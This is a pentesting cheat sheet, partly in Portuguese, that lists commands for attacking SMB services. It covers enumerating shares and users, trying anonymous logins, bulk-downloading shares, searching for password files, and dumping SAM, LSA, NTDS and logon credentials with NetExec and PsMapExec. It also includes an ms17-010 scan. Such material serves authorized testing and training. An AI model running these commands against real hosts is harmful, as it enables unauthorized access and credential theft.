# 139, 445 - SMB ### Enumeration * Identifique o SMB em execução em um host. Liste apenas as portas abertas. ```bash sudo nmap -sT -sU -sV -p135,137,138,139,445 --open ``` ### Nmap Scripts ```bash # Enumerate shares nmap --script smb-enum-shares -p 445 # OS Discovery nmap --script smb-os-discovery -p 445 # Enumerate Users nmap --script=smb-enum-users -p 445 # All nmap --script=smb-enum-users,smb-enum-shares,smb-os-discovery -p 139,445 ``` ### NULL / Anonymous Login ```bash # On some configuration omitting '-N' will grant access. smbclient -U '' -L \\\\ smbclient -U '' -N -L \\\\ smbclient -U '%' -N -L \\\\ smbclient -U '%' -N \\\\\\ # Enter a random username with no password and try for anonymous login. crackmapexec smb -u 'anonymous' -p '' crackmapexec smb -u '' -p '' crackmapexec smb -u '' -p '' --shares ``` ### Authenticated ```bash # smbmap, list shares and view permissions smbmap -H -u -p # Connect to share as user and prompt for password smbclient -U \\\\\\ ``` ### Download Files ```bash # Grab everything in a share smbclient '\\\' -N -c 'prompt OFF;recurse ON; mget *' # Recursive pattern search for candidate files to download smbmap -H -u -p -d -R -A "pass*" --depth 20 smbmap -H -u -p -d -R -A ".txt|.log|.ps1|.vbs|.zip|.xml" ``` ### Tools #### Enum4Linux ```bash enum4linux -a -u '' -p '' ``` #### NetExec * Execução e enumeração de comandos no Linux * ```bash nxc smb -u -p --shares nxc smb -u -p --users nxc smb -u -p --users-export output.txt nxc smb -u -p --loggedon-users nxc smb -u -p --pass-pol nxc smb -u -p --rid-brute nxc smb -u -p --sam nxc smb -u -p --lsa nxc smb -u -p --ntds ``` #### PsMapExec * Execução e enumeração de comandos no Windows ```bash PsMapExec -Method SMB -Targets [IP] -Username [User] -Password [Pass] -Module Disks PsMapExec -Method SMB -Targets [IP] -Username [User] -Password [Pass] -Module KerbDump PsMapExec -Method SMB -Targets [IP] -Username [User] -Password [Pass] -Module LSA PsMapExec -Method SMB -Targets [IP] -Username [User] -Password [Pass] -Module LogonPasswords PsMapExec -Method SMB -Targets [IP] -Username [User] -Password [Pass] -Module NTDS PsMapExec -Method SMB -Targets [IP] -Username [User] -Password [Pass] -Module SAM PsMapExec -Method SMB -Targets [IP] -Username [User] -Password [Pass] -Module Sessoions ``` ### User Enumeration #### Nmap ```bash # Nmap nmap --script=smb-enum-users -p 445 # Metasploit use auxiliary/scanner/smb/smb_enumusers # Crackmapexec crackmapexec smb 10.10.82.202 -u '' -p '' --users --rid-brute | grep '(SidTypeUser)' # Enum4Linux enum4linux -u '' -p '' -r | grep "Local User" enum4linux -u '' -p ''-r | grep "Local Group" ``` ### Exploits ```bash nmap --script smb-vuln-ms17-010 -p 445 ``` ####